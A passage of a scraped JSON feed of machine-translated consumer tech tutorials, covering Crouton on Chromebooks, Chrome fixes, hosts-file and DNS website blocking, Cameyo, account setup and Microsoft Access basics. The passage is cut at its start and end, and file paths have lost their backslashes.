~ / Downloads / crouton -e -t xfce and press Enter . Wait for the process to complete. This process may take up to an hour so you need to be patient. After completing the process, enter sudo enter-chroot startxfce4 or sudo startxfce4 to start Crouton.\nTo switch to the Linux environment, simply press Ctrl + Alt + Shift and click the Back or Forward button. This shortcut works on ARM Chrombook devices. If you don't use the Chrombook ARM, you can use other keyboard shortcuts like Ctrl + Alt + Back , Ctrl + Alt + Forward and Ctrl + Alt + Refresh .\nAfter booting Linux, you can easily install Wine and run Windows applications on your Chromebook. Note that Wine is not compatible with all Windows applications, so there may be some unfortunate problems.\nAlso, if you have an Chromebook using Intel chips, you can also install virtualization software like Virtual Box and use this program to run Windows on a Chromebook. Note that this method requires a lot of computer resources, so you may experience performance issues. Activating Linux on a Chromebook is an advanced procedure so if you are not careful, you can cause some problems for your Chromebook. This solution is only for professional users, so if you are a basic user, you should ignore this method.\nRunning Windows applications on Chromebooks is not easy, but you can do so using one of the 6 ways. According to TipsMake.com, the easiest way to run Windows applications on a Chromebook is to use Chrome Remote Desktop.\nUnlike other solutions, this application works on all Chromebooks and has no special hardware requirements. In addition, Chrome Remote Desktop is completely free, so you don't need to buy from any third party. However, the only downside to this approach is that it requires users to run the computer continuously to access it remotely via Chromebook. If you are looking for a Windows emulator, you should try CrossOver or ExaGear.\nncG1vNJzZmismaXArq3KnmWcp51ksbB52KisZqOepMRutM6wZK2nXafCr3nWoqWdp6eoeqK8z6WgnJmknryvv4yopWabmKe8rrHBqKakqw%3D%3D\n","link":"/post/do-you-know-how-to-run-windows-applications-on-chromebooks/","section":"post","tags":null,"title":"Do you know how to run Windows applications on Chromebooks?"},{"body":"If you are using Google Dev version of Chrome browser, it is easy to recognize that the latest update is completely unstable, the main problem is due to GPU speed regulation, but users cannot change it. Again, these settings and the browser continue to work. Here TipsMake.com will introduce you how to fix this problem.\nReplace Dev version with Beta or Stable:\nThis is a simple and easy to implement option if you are a person who likes stability. Please refer here and select the appropriate Beta or Stable version:\n  Turn off GPU function with the command:\nThe second possible way is to temporarily disable the browser's GPU acceleration feature. Add the following command line to the shortcut Properties as shown below:\n--disable-accelerated-compositing\n  Replace Chrome Dev with the old version:\nScroll to the Google Chrome information data directory via the address:\n% localappdata% GoogleChromeApplication\nYou will see 2 folders with names marked with version numbers as follows:\n  Rename the folder to a newer version number, and change the name of the old version directory to match the new version number:\n  Then start Chrome, type about: flags address and turn off GPU Accelerated Canvas feature as follows:\n  Turn off Chrome, go back to the data folder and change the names of the 2 folders as they were originally, and the problem was fixed.\nDelete setup file:\nThis is the last way you can apply, go to the following address:\n% localappdata% GoogleChromeUser DataDefault\nand delete the Preferences settings file, including the choice of GPU Acceleration:\n  On the other hand, you can delete a single line of information instead of deleting the Preferences file as above:\n\"gpu-canvas-2d\"\n  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjKucoK2clr9us86onqWdXZi1s7vMnmScqpGotW6x0aumq6s%3D\n","link":"/post/fix-regular-google-chrome-crash-errors/","section":"post","tags":null,"title":"Fix regular Google Chrome crash errors"},{"body":"1. How the computer works   Computers, laptops are high-tech electronic devices and they serve a lot of work through the calculation of data, binary code data. Continuous operation causes data problems and often causes data congestion, data overflow and direct impact on performance. Usually, the components on the computer are equipped with a certain 'memory', the memory will take care of storing data to serve the next work of the computer.\nHowever, when the memory is used for a long time, they are not capable of cleaning, or only to a certain extent, and the leftover data will take up a large amount of space. on memory. At this time, the memory will not be enough to store, causing a series of phenomena such as overflow, congestion, overload, etc.\n  People's habit is that after using the computer, they will turn off the computer and this is a very common thing to do. Shutdowns after use are not wrong, they are absolutely correct and get recommendations all over the world.\nHowever, there are also many people who just put the device to sleep when not in use, and using sleep mode will cause you to encounter many performance problems. Specifically, sleep mode will not turn off, not restart the computer, but they continue to use the available resources the last time you used it to continue.\n  Shutdown and start up seem to be the same, but they are somewhat different.\nShutdown: The system will close all the programs and files you have open, but not the Windows kernel (the core of the operating system). Not turning off the operating system's kernel will help software and hardware work at the same time (target support for Fast Startup). Restart: The system will close everything, including the Windows kernel (the core of the operating system) and restart them from scratch. As such, we can see that rebooting is the most radical way to reactivate an operating system, which will also start the Windows kernel. Therefore, restarting the operating system is very important in the process of using the computer.\n2. How often should restart the computer   Currently, operating system vendors have not shared about how often to restart the computer for the best effect, but there are a number of research sources that have results. Specifically, IT experts recommend the following:\n'Users should restart their computer at least once every 2-3 days to let Windows clean all open files, remove temporary files and automatically update. This will ensure that all files and content are removed from the PC cache and do not hang, compromising security and privacy'.\n  Thus, after 2-3 days of using the computer, whether you turn off the computer or put the computer in sleep mode, you should restart the computer once to bring the highest performance. Restarting the computer does not affect the hardware or the operating system, so you can rest assured to apply.\nWith these useful sharing related to restarting the computer, you must already know how to use the computer and its shutdown functions effectively. Have a nice day!\nhow long does it take to restart the computer how long does it take to restart the computer? ncG1vNJzZmismaXArq3KnmWcp51ktbDDjKidrZ2eYsCpu9Slm2ahXaeytMDAq6tmpalisLC5z66rnqo%3D\n","link":"/post/how-often-should-i-restart-my-computer/","section":"post","tags":null,"title":"How often should I restart my computer?"},{"body":"As information technology, the Internet is growing, it also draws on its downside. Black, unhealthy websites that cause users inconvenience are not small, especially with families with young children. Or simply, you just want to manage your child's computer use, blocking sites like Facebook, Youtube. So are there ways to block black web, which sites have unhealthy information? In the article below, Network Administrator will synthesize ways to help readers to block black, unhealthy websites.\n1. Black web blocking software: Currently there are quite a lot of software to support users can block black web, unhealthy websites. Some popular names such as Anti-Porn, K9 Web Protection, STOP PORN, IShield, Media Detective, etc. can be mentioned. All of the above software has a trial version for users to test and test software .\nThese software have very good black web filters, as they are constantly updating new features to increase the ability to search and filter more powerful black sites. However, the advice to users is to use a paid version because we can use it for a long time, as well as use the most effective functions that the trial version does not have.\n  2. Block the black web with the host file: In addition to using software to block unhealthy websites, we can use host file usage.\nStep 1: First of all, the access panel follows the following path to access the folder.\nC: WindowsSystem32Driversetc\nIn addition, we can press the Windows + R key combination to open the Run dialog box, then copy the link above and press Enter to access.\n  Step 2: After we have entered etc then copy the hosts file out of the Desktop to prevent it from being saved.\n  Step 3: Next we right-click the hots file and select Properties .\n  Then remove the Read-only attribute and click OK .\n  Step 4: Next, we will open the host file when right-clicking on the hosts file and select Open with then open with Notepad .\n  Step 5: Then, in order to block certain websites such as want to block Facebook, we will add the following array below and click Save above to save.\n127.0.0.1 facebook.com\n127.0.0.1 www.facebook.com\n  Step 6: As a final step, we access the C: WindowsSystem32Driversetc line again. If the computer wants to ask whether to write the file, click Yes . Next reset the Read-only property for the hots file after adjusting.\nThis will help us to block black webs quickly, without having to install any other software. However, you can only block websites that you know, but cannot block the entire web.\n3. Change DNS to block black site: We can also use DNS ranges to block black web sites. Readers can refer to some DNS ranges below:\nNorton DNS Preferred DNS Server: 198.153.192.50\nAlternate DNS Server: 198.153.194.50\nOpen DNS Preferred DNS Server: 208.67.222.123\nAlternate DNS Server: 208.67.220.12\nMetaCert DNS Preferred DNS Server: 184.169.223.35\nAlternate DNS Server: 54.247.162.216\nSafe DNS Primary DNS server: 195.46.39.39\nSecondary DNS Server: 195.46.39.40\nSentry DNS Primary DNS Server: 152.160.81.10\nSecondary DNS Server: 70.90.33.94\nStep 1: In the Run dialog box, enter the keyword ncpa.cpl to access the Locar Area Connection , press OK to access.\n  Step 2: At the network connection interface, right-click on the network you are using and select Properties .\n  Step 3: Next, double-click the Internet Protocol Version 4 (TCP / IPv4) line .\n  Step 4: Finally, you just need to enter the DNS address range into the new interface and click OK to save.\nNote , this way of changing DNS can slow down the access to other websites, and may not completely block all black webs.\n  Or we can download DNS Angel software to select the fastest DNS range for the computer. The DNS Angel installation process takes place very quickly, without the usual installation steps.\nDownload the DNS Angel software for free At the interface of the software, you will see DNS Angel provides us with 4 DNS ranges to block black websites: Norton Con.Safe 1, Norton Con.Safe 2, Open DNS Family and Yandex DNS. If you want to use DNS, just click on it to get it.\n  As for the two options, they all work differently: Default DNS is used to bring DNS back to its original settings, Restore DNS to set up the old DNS range.\nThe above are 3 ways to help you block black web, websites with unhealthy information. Each solution has its advantages and disadvantages. But it will also help you block some black webs on your computer. If conditions permit, it is best to choose to buy paid software to protect the web of black webs, blocking all those sites.\nRefer to the following articles: 6 steps to block, block website with TP-Link router 6 simple ways to enable the right-click feature to block that site Instructions to completely remove Youndoo.com on all browsers I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqcpLCsedOhnGaanJawrHnWnplmnpGowaa%2F02aYp5xdmrOnscKtoK%2BdnK4%3D\n","link":"/post/how-to-block-the-black-web-fastest-and-effectively/","section":"post","tags":null,"title":"How to block the black Web fastest and effectively?"},{"body":"Browsers like Chrome, Firefox, and Opera, after being installed on your computer, will default to the Downloads folder with the path C: UsersUserDownloads. All downloaded files are automatically saved to this Downloads folder. However, many people want to save to another folder so that they do not need to transfer where to save the file after downloading, saving the operation. The following article will guide you how to change the default file save folder on Chrome, save the downloaded file in an optional location.\nHow to scan virus files downloaded on Chrome How to export Chrome browsing history to HTML, CSV or TXT file How to enable download acceleration on Chrome Instructions to change location to download Chrome file Step 1:\nAt the Chrome browser interface click on the 3 dots icon and then click on the Install option.\n  Step 2:\nIn the settings interface on Chrome browser, we scroll down and click on the Advanced section .\n  Continue to find the Download section and see the Default location to save the downloaded file on Chrome as the Downloads folder. Click the Change button to change where to save the file.\n  Step 3:\nShow interface Browse For Folder for users to select other folders to save downloaded files. Click on the new folder and then click the OK button to save it. In case you want to create a new fie folder, click the Make New Folder button and name the folder.\n  As a result, we will see a new folder to store the downloaded file in Chrome browser.\n  How to find files, download links on Chrome When downloading files on Chrome we have the option to pause downloading files and then reload. Users can find the place to store the download link, download file on Chrome in a separate interface.\nStep 1:\nWe press Ctrl + J to open the Download folder on Chrome browser. Or you can click the 3 dots icon and select Download.\n  Step 2:\nIn this directory we will see a list of Chrome download files for each day. So we can easily find the file we downloaded. The file download links are also saved.\nHere with the successful download file you can click Show in folder to open the downloaded file folder.\nIf the file is temporarily downloaded, there will be the option to continue to download or Cancel if there is no need to download the file. Files deleted or canceled on Chrome will be crossed out.\n  Thus users can change the default Downloads folder on Chrome browser to another folder for more convenient processing of files. List of downloaded files on Chrome will be saved in a separate interface, helping users manage more conveniently.\nSee more:\nTo speed up Chrome browser, apply these tricks How to block Flash from accelerating Chrome browser This is how to reduce Internet traffic on Google Chrome I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55llKTEr7jOmptmnp%2Bhsaa%2BjKilZpuYp7yusQ%3D%3D\n","link":"/post/how-to-change-the-download-folder-on-chrome/","section":"post","tags":null,"title":"How to change the download folder on Chrome"},{"body":"Portable applications are useful if you use many different computers. You can take the application library with you and use any Windows computer to run them. However, what if an application you use doesn't have a portable format?\nWhat is a portable application and why is it important? There are many useful portable applications, but there may be some applications you need to use in your daily work that are not among them. Cameyo is a free portable application creation tool, creating a single executable (.exe) file from the entire Windows program. Copy this single file to an external USB flash drive or hard drive, so you can run the program on any Windows computer without installing it.\nNote: The following article will guide the installation and use of Cameyo on Windows 8.1 version.\nDownload Cameyo and save to a folder on your hard drive. Cameyo does not need to install. The file you downloaded for Cameyo is not an installation file; instead is a portable program. Double-click the .exe file to open Cameyo.\nThe production company Cameyo says that you have to create your portable application in a virtual machine. That's what this company said in Virtual Application Packaging ( Virtual Application Package) - Best practice guide:\n'Prepare a basic virtual machine. Make sure there are no unnecessary programs running on it. Turn off all possible updates, including Windows updates or antivirus software updates. Avoid using other programs on your computer. Generally, anything that can modify files or registry keys, will interfere with this transition. You should use XP SP3 32-bit unless your software requires some higher system installation and functionality. '\nFor information on how to create virtual machines, see the article Setting up and installing Windows 8 on VirtualBox. This article will show you how to install operating systems in VirtualBox.\n  NOTE : Cameyo creates a portable application by taking a snapshot of your system, before the application is installed and again later, recording changes to the system. Therefore, make sure that the application you want to create is a portable application NOT installed on your computer before you begin this process.\nA dialog box will appear asking you which program you want to open. You will create a portable application, so select Capture an installation and click OK .\n  Cameyo will display a dialog box in the lower left corner of the screen, while it captures an original image before installation.\n  When Cameyo displays the following dialog box, install the software you want to pack as a portable application.\n  Perform normal installation procedures for your software.\nWhile setting up the application installation and packaging, any settings you modify in the application, before finishing the shooting process, will be stored in the application. So once the software is installed, and BEFORE clicking Install done, run the application and configure it the way you want. Then, click Install done to complete the shooting process.\nIf you do not want to change any settings in the application, just click Install done when the installation is completed.\n  Cameyo took pictures after installation.\n  A dialog box will appear when the application has been successfully created. Click OK to close the dialog box.\n  Your portable application will be in C: UsersDocumentsCameyo apps . It will include the name of the program with the \" .cameyo.exe \" extension at the end. Double-click this file to run the program.\n  If the User Account Control dialog box is displayed, click Yes to continue.\nNOTE: You may not see this dialog box, depending on your User Account Control settings. The User Account Control dialog box will display every time you open a converted application, depending on your settings.\n  If you need to register the application, do so when you receive a prompt.\nNOTE: You will not have to do this again. Information is stored in the portable application.\n  There are many modules available in Cameyo. To open the main program, double-click the Cameyo.exe file again, select Cameyo on the dialog box and click OK .\n  If this is the first time you open Cameyo, you will be asked to register. Registration is completely free and will provide additional features. Fill out the form and click Register .\n  To see which portable applications are available through Cameyo, click the Computer icon at the bottom of the window. You will see the application you just created. Click it to run or click X to delete it.\n  Click the Studio icon at the bottom of the screen.\n  Once you have created a portable application, you can change the settings for that application. To do this for the application you just created, click the icon next to the Package editor .\n  NOTE: You can also select Edit a package on the displayed Cameyo dialog box after double clicking on the Cameyo.exe file.\n  In the Package Editor, click the Open existing virtual app link .\nNOTE: If you have opened a package for editing earlier, it will be listed in the Recently edited section.\n  Go to the Cameyo application folder, select the portable application you just created and click Open .\n  There are several options to place on the General tab. Click Advanced to get additional options.\n  On the Advanced tab, you can change additional settings, such as whether the program leaves any traces on the computer.\nFor more information on these settings, see ' User Guide ' available on Cameyo's website. (Link to reference: https://www.cameyo.com/virtual-apps-personal-use/)\n  If you make any changes to the settings, select Save from the File menu to save your changes.\n  A dialog box will appear when the package has been saved. Click OK to close it.\n  To close the Package Editor , select Exit from the File menu.\n  You can adjust some general settings for Cameyo. If you have closed the main window of Cameyo, reopen that window (as mentioned above) and click the wrench icon in the lower right corner of the window.\n  Here, you can change the directory where your portable applications are saved and set some other options. Click OK when you have made your changes.\n  To close the main window of Cameyo, click the X in the upper right corner of the window.\n  Cameyo comes with an extended application library (using the Library icon in the Cameyo application), including hundreds of the most popular software. This allows you to try it without installing the software. If you do not want to use the application anymore, just delete the application. It will not leave any traces on your computer.\nYou can use the free Cameyo for use at home and for small companies (up to 49 machines).\nGood luck!\nSee more:\n8 easy steps to create portable software with WinRAR Instructions for creating Portable using VMWare ThinApp Enterprise program 10 Portable tools supported for system administration ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZKmnoqmuo7jEZq2eqqOevK95xaipZq%2BZo7Gww9JmqqiepKyus7GMsKCtoF2Yrq6x2Kg%3D\n","link":"/post/how-to-create-a-portable-version-for-windows-software-with-cameyo/","section":"post","tags":null,"title":"How to create a portable version for Windows software with Cameyo"},{"body":"Adobe toolkit with extremely professional tools such as Photoshop with image editing, Lightroom raw image processing, InDesign print design or Adobe Premiere Pro video editing, . help you create pieces of work Nice design, quality. And creating an Adobe account is something you should do to fully download Adobe CC and make full use of the features of each specific software. Besides, when registering an Adobe account via email address, we will receive the latest announcements from the manufacturer when there are new features, or launch new versions, . The following article will guide you Read how to create an Adobe account.\n15 common problems in Photoshop and basic remedies Instructions for designing websites in Photoshop How to open AI file without Adobe Illustrator How to set PDF file password using Adobe Acrobat Instructions for registering an Adobe account Step 1:\nFirst, click on the address below on the Adobe homepage interface. At the home page interface, click on Sign in .\nhttps://www.adobe.com/   Step 2:\nFor those who do not have Aobe account, click Get an Adobe ID .\n  Step 3:\nDisplay the Adobe account registration interface. Users enter all required content into this interface and then click Sign in to create an account.\nNote that passwords should be longer than 8 characters, with lowercase and uppercase letters, must have at least one digit in the password section.\n  Step 4:\nNew Adobe account results have been created. We click on the image icon to represent the account and then select Adobe Account to edit the personal account.\n  Step 5:\nSwitch to the new interface and click on the Profile button to change your personal information.\n  Click the Edit profile button to edit the account.\n  Users can change the image of the new account, change the account name, add the company name and click Save below to save the new information.\n  Step 6:\nContinue under Account information section you need to confirm the email address registered for the Adobe account, click Send verification email .\n  Then open the registered email account and click on the green link to confirm the account.\n  Step 7:\nNext, the Password and security management group has the option to change the current password.\n  Below is the mobile phone number or the 2 -step verification at Two-step verification , press Active to do so.\n  Step 8:\nWe are required to enter the phone number to receive our verification code, click Add to add the phone number for the Adobe account.\n  Adobe will then send a verification code sequence to your phone number. Enter this character string into the interface and click Verify to finish.\n  Step 9:\nAfter activating 2-layer verification, if you want to change it again, click Manage , if you want to cancel verification, press the Deactive button.\n  In this content we proceed to change or delete the phone number, use the 2-step verification application if available.\n  So the steps to create an Adobe account are simple and fast. You need to remember to verify your email address, or use the 2-layer verification feature if you want to increase the security of your Adobe account.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyapWaZlKSvpnnAnJqorZ6p\n","link":"/post/how-to-create-an-adobe-account/","section":"post","tags":null,"title":"How to create an Adobe account"},{"body":"A mouse is a powerful tool for selecting files, with the 'drag and drop' function serving as a simple and essential skill for any computer user. Most programs and computers support drag and drop. Learning this practice can save you time...\nMethod 1of 3:\nMoving Files With Drag and Drop  Turn on your computer. Decide the files that you want to move to a new location. Choose where that new location will be.\n  Open folders on your computer. If you are using a Mac computer, open two Finder windows to access the files and the new location where you want to put them. If you are using a Windows computer, open the windows through the Start menu. If your files are located on the desktop, you should only open a window for the location where you want to move the files. If you are using a Mac, after you open the first window, go to the File menu at the top and select the option to open a new Finder window. If you are using Windows, you can simply minimize the first window and access the Start menu again to find the second window.   Use your mouse to resize the folder windows so that they can be side by side on your computer screen. If your files are on the desktop, arrange your window next to the files on the desktop.\n  Navigate to the folder where the files are. Move your cursor so it is to the top left of all the files you want to move. Left click the mouse and drag the cursor over the files until you reach the bottom right corner. Your files should be highlighted in blue to show they are selected and ready to drag.   Release your mouse. The files should stay highlighted.\n  Left click on a file and hold the button down.\n  Drag the files into the new folder. They will transfer and make a zipping noise as they are moved and saved. If your files stop being highlighted at any time, you will need to repeat the drag and drop. If you repeat this process but drag the files to a different drive, such as a removable hard drive, CD or zip drive, the files will not move, they will be copied.[1]  Method 2of 3:\nSelecting Files for Drag and Drop  Notice if your files are not located consecutively in a folder. If this is the case, you will want to use your keyboard to help you select specific files before you drag and drop.\n  Open your two folder windows and place them side-by-side.\n  Go to the folder containing the files you want to transfer.\n  Click the first file that you want to move and release the mouse button.\n  Press the 'Shift' key on a Windows computer or the 'Command' key on a Mac computer. Keep it depressed while you continue highlighting files.\n  Click on additional files until you have highlighted all the files you want to move.\n  Release your mouse and the Shift/Command button. Your files should remain highlighted in blue.\n  Click on a single file that is highlighted. Drag it into the second folder. All the selected files should transfer.\n Method 3of 3:\nOpening Files With Drag and Drop  Open the program in which you want to open a file. Don't open a new document right away, because you will use the drag and drop function to do so.\n  Open a window using the Finder program or Start menu. Locate your file. If your file is on the desktop you can skip this step.\n  Click on the file and hold your left mouse button down. Drag the file to the icon of your open program. When it is hovering over the program, release your mouse button.\n  Wait a few seconds. The program will open the file and bring it up on your screen. This function will not work if you try to open a file that is not compatible with the program you've chosen.[2]\n  Lesley Montoya Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyilrRurc2dZJ2qn6U%3D\n","link":"/post/how-to-drag-and-drop/","section":"post","tags":null,"title":"How to Drag and Drop"},{"body":"For those who love Math, especially geometry, Cabri II Plus is one of the tools that can be indispensable on computers. Cabri II Plus was born with the aim of reducing the time to draw pictures when manipulating all types of geometry, from basic lines, circles or triangles, 3D cubes. Not only that, it also helps us to study many complex geometric problems such as locating funds, proving properties, .\nAlthough this Math drawing software is very convenient and easy to use, not all of us are confident in installing and using Cabri II Plus. Therefore, the following article will show you how to download and install the software, and give instructions on how to use Cabri II Plus. The details of your own experience and tinkering, after a few times, will be proficient in the operations.\nHow to install Violympic Math, English and Physics software 10 best free diagramming tools for Windows Top 10 best software for secondary school students Instructions for downloading and installing Cabri II Plus Step 1:\nFirst, click on the link below to download Cabri II Plus software to your computer.\nDownload: Cabri II Plus for Windows Step 2:\nAfter downloading Cabri II Plus, you access the folder containing the software to install the software to begin the installation process.\n  Step 3:\nNext, click Next to continue installing Cabri II Plus.\n  Step 4:\nSelect I accept the license agreement and click Next to agree to the terms that the software manufacturer offers.\n  Step 5:\nThe following steps, you continue to click Next . When a path table contains the installation file you choose Browse . to set the path containing the program directory if you want.\n  Step 6:\nClick Install to install the installation now.\n  Step 7:\nFinally, click Finish to complete the Cabri II Plus installation process.\n  Instructions for using Cabri II Plus When installing Cabri II Plus successfully, if you open the software, you will see the working window interface like the image below.\n  By default, the program will set the language to be English, but if you want, you can completely switch the language to Vietnamese for more convenient use later, especially for those who are not good at foreign languages, Should change always. Just select Options\u0026gt; Select Language .\n  A new table appears, here you scroll down and select the file named Vietnamien\u0026gt; Click Open and it 's done.\n  Speaking of how to use Cabri II Plus, in general, it is not difficult at all, you just need to know for a few minutes what all the functions are in the software. As you can see, all the drawing tools are displayed in the toolbar, what do you like to draw, just select the tool. Such as parallel lines, triangles, circles, points, line segments, polygons, perpendicular, midpoint, take center, .\n  Thus, the Network Administrator has instructed you how to download, install and use Cabri II Plus, with an easy-to-use interface combining Vietnamese fonts surely you will enjoy with this software.\nGood luck!\nSee more:\nPlease download VnDoc's Exercises app to make learning easier Invite to download and experience the advanced solution of PhotoSolver solving math problems of Vietnamese guy English learning software on computers ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmmKecXarApnnToZxmm5GXv6p5yKJkqaSlqHqurdOhZJ2qkay2r7OMrKafrKeWv6Y%3D\n","link":"/post/how-to-install-and-use-the-cabri-ii-plus-math-drawing-software/","section":"post","tags":null,"title":"How to install and use the Cabri II Plus Math drawing software"},{"body":"Xbox Live is an indispensable account if you want to manage your data (music, games, .) on your\u0026nbsp; computer , especially online games, trial versions distributed by\u0026nbsp; Microsoft . If you do not know how to create an Xbox Live account, the article will guide you how to sign up for an Xbox account.\nYou should follow the instructions correctly from the very first steps. Make sure you follow the steps in the image below correctly. If there is a problem, try to see if the steps followed the instructions correctly.\nUnder \" Country / Region \" you can completely select other countries instead of the United States. However, to have the best experience, choose US because it is an international address, during use you will receive more benefits.\n  If there are language difficulties during your account creation, use\u0026nbsp; Google Translate . It is sure that it will help you to perform the operation quickly and easily.\nXbox gives participants the right to play games, buy games, . please pay attention to comply with Xbox terms for the best experience.\n  Note: The following instructions are done on the AVITA CORE i5 10TH GEN laptop device. Windows 10 operating system\u0026nbsp; .\nStep 1: Use the web browser on your computer and visit the Xbox homepage here . From the main interface, left-click on Sign in in the upper right corner of the screen as below.\n  Step 2: The account login interface appears, left-click\u0026nbsp; Create one! \u0026nbsp;at the bottom to start creating a new account.\n  Step 3: The user will be asked to enter the account name\u0026gt; Click\u0026nbsp; Next .\n  Step 4: Enter the password\u0026gt; Click\u0026nbsp; Next .\n  Step 5: Enter personal information\u0026gt; Click Next.\n  Step 6: Enter the country name, date of birth\u0026gt; Click Next.\n  Step 7: At this point, you will need to access your Gmail account\u0026nbsp; \u0026nbsp;and get the confirmation code sent by Xbox in the Inbox.\nA confirmation message is sent as Microsoft account team. Open the message and copy the code in the line To verify your email address use this security code.\n  Step 8: Enter the code you received in the Xbox confirmation box\u0026gt; Click Next.\n  Step 9: A success message will appear as below. Tick ​​the I'd like to receive . check tick then choose I accept to complete.\n  Step 10: At the main interface of Xbox homepage , you will see that Sign in is no longer available, the account information you just created will be displayed.\n  Now you can download and play any game that Microsoft offers and requires your account. You can also choose to Profile or Xbox settings to set up your account as you like.\nI just showed you how to set up an Xbox Live account . Thank you for watching the article. Good luck. See you in the following articles!\nXbox Live Xbox ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIyapWawkqTFbrjIr5xmmZOYvLa602amp2WRYrCwuc%2Buq56q\n","link":"/post/how-to-set-up-an-xbox-live-account-on-a-computer/","section":"post","tags":null,"title":"How to set up an Xbox Live account on a computer"},{"body":"This makes Microsoft Access great for doing data entry, since users don't need to work with tables and spreadsheets. If you have difficulty using it, see the instructions for basic operations on Microsoft Access below.\nCreate a new database Step 1: Click the File tab and select New   Database is what will hold all data in different forms. Users can choose to create an empty database, an empty web database, or choose from a variety of templates.\nThe empty database is a standard Access database and is good for local use. Creating an empty database will also create a table.\nThe web database is designed to be compatible with Access's web publishing tools. Creating an empty database will also create a table.\nTemplates are pre-built databases designed for multiple uses. Choose a template if you don't want to spend a lot of time putting the database structure together.\nStep 2: Name the database   Once you've chosen a database type, give it a name that reflects its purpose. This will be especially helpful if everyone is going to be working with several different databases. Enter the database file name in the File Name box. Select Create to create a new database.\nAdd data to the database Step 1: Determine the best structure for your data   If you are creating an empty database, everyone will need to think about the best way to organize the data and add the appropriate structure. There are several ways to format and interact with your data in Access:\nTable: This is the primary way data is stored in the database. Tables can be compared to spreadsheets in Excel with data sorted by rows and columns. Therefore, importing data from Excel and other spreadsheet programs is a relatively simple process.\nForm: A form is how data is added to a database. While it is possible to enter data into the database directly into tables, using forms allows for faster and more intuitive data entry.\nReport: These reports summarize and display the data in the database. Reports are used to analyze data and return answers to specific questions, such as how much profit was generated or where customers are located. They are usually designed to be printed.\nQuery: This is a way to retrieve and filter data. Users can use queries to display specific entries from multiple tables or create and update data.\nStep 2: Create the first table   If you are starting an empty database, Access will automatically start with an empty table. People can start entering their data into this table, either manually or by copying and pasting from another source.\nEach piece of data must be given its own column (field), while each record must be a separate row.\nFor example, each row would be a customer while each field would be a different piece of information about that customer (first name, last name, email address, phone number,.).\nPeople can rename column labels to easily distinguish which fields are what by double-clicking the column headers.\nStep 3: Import data from another source   If you want to import from a supported file or location, you can set Access to get the information and add it to your database. This is useful for getting data off a web server or some other shared resource.\nClick the External Data tab. Select the file type you're importing. In the Import and Link section, people will see several options for data types. People can click the More button to see more options. ODBC stands for Open Database Connectivity, and includes databases like SQL. Navigate to the location of the data. If it is on a server, provide the server address. In the next window, select Specify how and where you want to store the data in the current database. Select OK and follow the steps to enter the data. Step 4: Add another board   People will want to keep different records in different databases. This will help keep the database running smoothly.\nFor example, a user might have one table for customer information and another for order information. The customer information can then be linked to the order information table.\nIn the Create section of the Home tab, click the table button. A new table will appear in the database to enter the information in the same way as for the first table.\nSet up table links Step 1: Understand how locks work.   Each table will have a unique primary key for each entry. By default, Access creates an incremented ID column for each entry and is set as the primary key.\nTables can also have foreign keys, which are fields that are associated with another table in the database. Linked fields will contain the same data. Using links helps keep data consistent, efficient, and readable.\nFor example, in the Orders table, a Customer ID field could be added to track which products a customer ordered. The user can create a link for that field with the ID field in his Customers table.\nStep 2: Click the Database Tools tab. Click the Relationship button to open a new window with an overview of all the tables in the database. Each field will be listed below its table name.\n  The user will need to create a field for the foreign key before creating the association. For example, if you want to use Customer ID on the Orders table, create a field in the Orders table named Customer and leave it blank. Make sure it's in the same format as the linked field.\nStep 3: Drag the field you want to use as a foreign key. Drop in the field that was created for the foreign key. Click Create in the window that appears to set relationships for the fields. A line will appear between the two tables, joining the fields.\n  Check the Enforce Referential Integration box when creating a relationship. This will help when data changes in one field, the other will automatically be updated, ensuring the data is always correct.\nExecute query query Understanding the role of query Query queries are actions that allow you to quickly view, add, and edit data in your database. There are many types of queries, from simple lookups to creating new tables based on existing data. Queries are an essential tool for building reports.\n  Queries are divided into two main categories: Select and Action. Select will get data from tables and can perform calculations. Actions can add, edit, and delete data from a table.\nUse the Query Wizard to create a basic Select query   If you want to create a basic Select query, use the Query Wizard to guide the user through the steps. People can select the Query Wizard from the Create tab. This will allow viewing of specific fields from a table.\nCreate Select Query with Criteria Open the Query Design tool. People can use criteria to narrow down their Select Query and display only the necessary information. To get started, click the Create tab and select Query Design.\n  Select the table and Show Table will open. Double-click the table you want to run the query on, and then click Close.\n  Add retrieved fields. Double-click each field in the table that you want to add to the query. The fields will be added to the Design grid.\n  Add a Citieria, such as text or functions. For example, if you only want to display prices higher than $50 from the \"Price\" field, enter \u0026gt;= 50 in the Criteria. People can use multiple Criteria per query.\n  Click Run on the Design tab to see the results. The query results will be displayed in the window. Finally, press Ctrl + S to save the query.\n  Microsoft Access ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWaakai2pHnOqZyrmaSevK%2B%2FjKilZqWZmL%2Bwv86fq2aZk5iytL8%3D\n","link":"/post/instructions-for-basic-operations-on-microsoft-access/","section":"post","tags":null,"title":"Instructions for basic operations on Microsoft Access"},{"body":"Slide ending in Powerpoint is also an important part of the presentation, if you want to have a complete end then you need to choose a nice background image for the ending slide. Here TipsMake.vn has synthesized and shared with you the Powerpoint Thank You wallpapers, Thanks for the Slide, you guys follow along.\n  50+ Powerpoint Thank You wallpapers, Thanks for the ending Slide, invite you to watch and choose offline.\n  Beautiful thanks photo for Powerpoint\n  Beautiful thanks wallpaper for pp\n  Beautiful Powerpoint wallpaper thank you\n  Powerpoint wallpaper thank you the most beautiful\n  Powerpoint wallpaper thank you simple\n  Powerpoint wallpaper thank you\n  Thanks pp background image\n  Pp wallpaper thank you most beautiful\n  Wallpaper pp thank you\n  Photo background pp\n  Wallpaper Slide thank you\n  Slide Wallpaper thank you most beautiful\n  Photo Powerpoint thanks\n  Background powerpoint thanks\n  Thanks images for Powerpoint\n  Beautiful thanks images for Powerpoint\n  Beautiful thanks images for Slide\n  Thanks photo\n  Thanks wallpapers for pp\n  Beautiful thanks wallpapers for pp\n  Wallpaper thanks Powerpoint\n  Thanks wallpaper in Powerpoint\n  Thanks Powerpoint 